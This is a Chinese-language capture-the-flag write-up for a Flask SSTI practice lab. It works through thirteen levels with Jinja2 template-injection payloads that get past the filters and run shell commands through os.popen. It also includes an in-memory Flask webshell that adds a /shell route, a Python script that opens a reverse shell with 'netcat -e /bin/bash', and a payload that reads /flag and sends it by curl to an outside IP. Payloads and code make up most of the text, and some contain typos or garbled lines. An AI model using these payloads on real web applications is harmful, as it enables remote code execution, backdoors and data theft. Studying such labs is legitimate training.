ssti-flask-labs

ssti打内存马

1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})

第一关

第一关轻松过,没waf,找了半天的os模块在哪,一直以为是132,结果在133.。。。。。

1
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat flag').read()}}

第二关({})

过滤了{},可以用{%%}来代替

原谅我,想了半天,也不知道怎么进入下一关,最后问了大佬想起来要url就好了,我是憨憨,呜呜呜

上一题的playload改一下就好了

不过要加一个print

1
{%print(().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /flag').read())%}

过了过了,很快的过了

第三关(无回显)

这一关遇到了挫折,,搞了好久,外带带不出来,最后借用别人搭的靶场,自己在虚拟机用docker起镜像,搭容器,

首先在虚拟机里搭装好nc,如果是乌班图就不用装了,他自己带nc,这是在虚拟机里的安装命令,Windows的话命令会不一样,可以自己去找一下

  1. 
    
  2. 下载netcat二进制安装包
    wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz

2.解压netcat压缩包
tar -zxvf ./netcat-0.7.1.tar.gz

3.进入netcat目录中运行
./configure

4.执行编译和安装
make&&make install

5.退出编译
make clean

1
2
3
4
5

我用的乌班图(ubuntu)搭的docker,首先安装docker:https://blog.csdn.net/web13170611647/article/details/126746625

跟这以上文章docker安装完成后,


1.改变下载源:
输入命令:vim docker.json
{

“registry-mirror”:[“https://docker.mirrors.ustc.edu.cn"]

}
将以上内容写进去之后输入(:wq!)退出
2.把容器下载下来
docker puul mcc0624/flask_ssti:last

3.docker images

4.sudo docker run -p 18022:22 -p 18080:80 -i -t mcc0624/flask_ssti:last bash -c ‘/etc/rc.local; /bin/bash’
到这一步容器就安装完成了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

之后看一下你虚拟机的ip地址

ifconfig

![image-20230724121255907](https://raw.githubusercontent.com/qingchuana/img/main/img/image-20230724121255907.png)

比如我的ip地址就是192.168.86.129

之后在浏览器访问 ip:18080

![image-20230724121456363](http://raw.githubusercontent.com/qingchuana/img/main/img/image-20230724121456363.png)

出现这个页面就算成功了,可以访问了,我们进入到第3关

用这个脚本

```python
//反弹shell脚本
import requests
url = 'http://192.168.86.129:18080/flasklab/level/3'

for x in range(500):
try:
data = {"code":"{{''.__class__.__base__.__subclasses__()["+str(x)+"].__init__.__globals__['popen']('netcat 192.168.86.129 8888 -e /bin/bash').read()}}"}
response = requests.post(url,data = data)
except:
passcat

运行它,在虚拟机命令行执行

1
nc -lvnp 8888

netcat 192.168.86.129 8888 -e /bin/bash’

这里的地址一定要弹到你的虚拟机的地址

连接上之后,命令执行,得到flag

image-20230724132131452

第四关([])

过滤了[]

还是可以的

1
2
{{''.__class__.__base__.__subclasses__().__getitem__(117).__init__.__globals__.__getitem__('popen')('cat flag').read()}}
{{''.__class__.__base__.__subclasses__().__getitem__(132).__init__.__globals__.__getitem__('popen')('ls /').read()}}

第五关(‘’ “”)

过滤了单双引号 ‘’ “”

image-20230724132306112

1
2
3
4
get  :http://192.168.86.129:18080/flasklab/level/5?a=popen&&b=cat flag


post :code={{[].__class__.__base__.__subclasses__()[117].__init__.__globals__[request.args.a](request.args.b).read()}}

第六关(__)

过滤了__

###方法一:attr+request.args

1
2
GET:
http://192.168.86.129:18080/flasklab/level/6?class=__class__&&base=__base__&&subclasses=__subclasses__&&geti=__getitem__&&ini=__init__&&global=__globals__
1
2
POST:
code={{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.geti)(117)|attr(request.args.ini)|attr(request.args.global)|attr(request.args.geti)('popen')('cat flag')|attr('read')()}}

方法二:unicode编码

1
2
3
4

unicode:
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

第七关(.)

过滤了.

attr

1
2
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|atttr('__getitem__')(117)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen')('cat flag')|attr('read')()}}

[]代替.

1
{{()['__class__']['__base__']['__subclasses__']()['__getitem__'](117)['__init__']['__globals__']['__getitem__']('popen')('cat flag')['read']()}}

第八关

WAF: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

###1.+号拼接

1
2
{{()['__cla'+'ss__']['__b'+'ase__']['__subclas'+'ses__']()['__getitem__'](117)['__ini'+'t__']['__glob'+'als__']['__getitem__']('po'+'pen')('cat flag')['read']()}}
{%print(()['__cla'+'ss__'])%}

2.jianjia2中的~拼接

1
{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set aa='__in'%}{%set bb='it__'%}{%set cc='__glo'%}{%set dd='bals__'%}{{()[a~b][c~d][e~f]()[117][aa~bb][cc~dd]['po'+'pen']('cat flag')['read']()}}

3.reverse replace join等过滤器

1
2
reverse:
{%set a="__ssalc__"|reverse%}{%set b="__esab__"|reverse%}{%set c="__sessalcbus__"|reverse%}{%set d="__tini__"|reverse%}{%set e="__slabolg__"|reverse%}{{""[a][b][c]()[117][d][e]['po'+'pen']('cat flag')['read']()}}
1
2
replace:
{%set a="_claee_"Ireplace("ee" , "ss")%}
1
2
3
join:()join读键名,即读取__cla  和ss
{%set a=dict(__cla=a,ss=a)|join%}
{%() [a]%}

第九关(数字0-9)

1
{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaa'|length-'a'|length%}{%set a='aaaaaaaaaaaa'|length*'aaaaaaaaaa'|length-'aaa'|length%}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('cat flag').read()}}

第十关

image-20230724172716024

1
2
url_for:
{{url_for.__globals__['current_app'].config}}
1
2
get_flashed_messages:
{{get_flashed_messages.__globals__['current_app'].config}}

第十一关

11关过滤了一堆东西,先确定一个利用的基本payload

1
{{().__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('cat flag').read()}}

利用flask内置函数和对象获取符号

1
2
3
4
5
6
7
{% set ben = ({ }select()[string()) %]{ben}}#获取下划线

{% set ben = (self|string()) %]H{ben}}#获取空格

{% set ben = (self|stringlurlencode)%H{ben}#获取百分号

{% set ben = (app._doc_|string) %]{ben}}
1
{%set a=dict(__class__=1)|join%}{%set b=dict(__base__=1)|join%}{%set c=dict(__subclasses__=1)|join%}{%set d=dict(__getitem__=1)|join%}{%set e=dict(__in=1,it__=2)|join%}{%set f=dict(__glo=1,bals__=2)|join%}{%set g=dict(popen=1)|join%}{%set kg={}|select()|string()|attr(d)(10)%}{%set i=(dict(cat=1)|join,kg,dict(flag=1)|join)|join%}{%set r=dict(read=1)|join%}{{()|attr(a)|attr(b)|attr(c)()|attr(d)(117)|attr(e)|attr(f)|attr(d)(g)(i)|attr(r)()}}

第十二关

在11的基础上多了数字,下划线

{{lipsum|string|list}}可以读取字符

{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=nine+nine%}{{nine,eighteen}}

image-20230724183527095

image-20230724183251511

image-20230724184725189

基础playload:

1
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
1
code={% set nine=dict(aaaaaaaaa=a)|join|count %}{% set eighteen=nine+nine %}{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}{% set space=(lipsum|string|list)|attr(pop)(nine)%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set cat=dict(cat=a)|join%}{% set cmd=(cat,space,dict(flag=a)|join)|join%}{% set read=dict(read=a)|join%}{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

第十三关

1
2
3
{% set pop=dict(pop=a)|join %}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}{% set space=(lipsum|string|list)|attr(pop)(9)%}{% set os=dict(os=a)|join%}{% set popen=dict(popen=a)|join%}{% set cat=dict(cat=a)|join%}{% set cmd=(cat,space,dict(flag=a)|join)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}


针对flag在app/flag下的

1
2
3
4
{%print(((((((((((lipsum|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(globals=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(getitem=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((lipsum|escape|batch(22)|list|first|last)*2~(dict(builtins=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))|attr((lipsum|escape|batch(22)|list|first|last)*2~(dict(getitem=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((dict(eval=x)|join)))((lipsum|escape|batch(22)|list|first|last)*2~(dict(import=x)|join)~(lipsum|escape|batch(22)|list|first|last)*2))((dict(os=x)|join))|attr((dict(popen=x)|join)))(((((lipsum()|urlencode|first)~(dict(c=x)|join))*12)%(199,97,116,32,97,112,112,47,102,108,97,103))))|attr((dict(read=x)|join)))()))%}

//里面的(199,97,116,32,97,112,112,47,102,108,97,103)是cat app/flag转换为10进制对应的数字,前面的12对应要改为和长度一样的
比如199,97,116,32,97,112,112,47,102,108,97,103)为12个数字,相应的要改为12

究极过滤payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{% set pop=dict(pop=a)|join%}{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18) %}{% set gb=(xiahuaxian,xiahuaxian,dict(glo=a,bals=a)|join,xiahuaxian,xiahuaxian)|join %}{% set get=dict(get=a)|join%}{% set os=dict(os=a)|join %}{% set popen=dict(popen=a)|join%}{% set ca=dict(ca=a,t=a)|join%}
{% set nn=dict(n=a)|join%}
{% set tt=dict(t=a)|join%}
{% set ff=dict(f=a)|join%}
{% set dd=dict(index=a)|join%}
{% set id=dict(ind=a,ex=a)|join%}
{% set five=(lipsum|string|list)|attr(id)(tt) %}
{% set three=(lipsum|string|list)|attr(id)(nn) %}
{% set one=(lipsum|string|list)|attr(id)(ff) %}
{% set bin=(xiahuaxian,xiahuaxian,dict(built=a,ins=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set cr=dict(ch=a,r=a)|join%}
{% set chcr=(lipsum|attr(gb))|attr(get)(bin)|attr(get)(cr) %}
{% set xiegang=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
{% set dh=chcr(three*five*five-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one-one)%}
{% set rd=dict(re=a,ad=a)|join%}
{% set ls=dict(ls=a)|join%}
{% set space=chcr(three*three*five-five-five-three) %}
{% set shell=(ca,space,dict(f1ag=a)|join,dh,dict(txt=a)|join)|join %}
{% print(shell)%}
{%print(lipsum|attr(gb)|attr(get)(os)|attr(popen)(shell)|attr(rd)())%}

外带playload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

?name=
{% set c=dict(c=z)|join|length %}
{% set cc=dict(cc=z)|join|length %}
{% set ccc=dict(ccc=z)|join|length %}
{% set cccc=dict(cccc=z)|join|length %}
{% set ccccc=dict(ccccc=z)|join|length %}
{% set cccccc=dict(cccccc=z)|join|length %}
{% set ccccccc=dict(ccccccc=z)|join|length %}
{% set cccccccc=dict(cccccccc=z)|join|length %}
{% set ccccccccc=dict(ccccccccc=z)|join|length %}
{% set cccccccccc=dict(cccccccccc=z)|join|length %}
{% set space=(()|select|string|list).pop(ccccc*cc) %}
{% set xhx=(()|select|string|list).pop(ccc*cccccccc) %}
{% set point=(config|string|list).pop(cccccccccc*cc*cccccccccc-ccccccccc) %}
{% set maohao=(config|string|list).pop(cc*ccccccc) %}
{% set xiegang=(config|string|list).pop(-cccccccc*cccccccc) %}
{% set globals=(xhx,xhx,dict(globals=z)|join,xhx,xhx)|join %}
{% set builtins=(xhx,xhx,dict(builtins=z)|join,xhx,xhx)|join %}
{% set open=(lipsum|attr(globals)).get(builtins).open %}
{% set result=open((xiegang,dict(flag=z)|join)|join).read() %}
{% set curlcmd=(dict(curl=z)|join,space,dict(http=z)|join,maohao,xiegang,xiegang,cccc,ccccccccc,point,cc,ccc,cc,point,ccccccc,cccccc,point,c,cccc,maohao,cccc,c-c,c-c,c-c,xiegang,result)|join %}
{% set ohs=dict(o=z,s=z)|join %}
{% set shell=(lipsum|attr(globals)).get(ohs).popen(curlcmd) %}
1
2
{%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('env').read()}}{%endif%}{%endfor%}
NSSCTF{a77fa3f4-46ba-4ff5-ac8c-48b327e17329}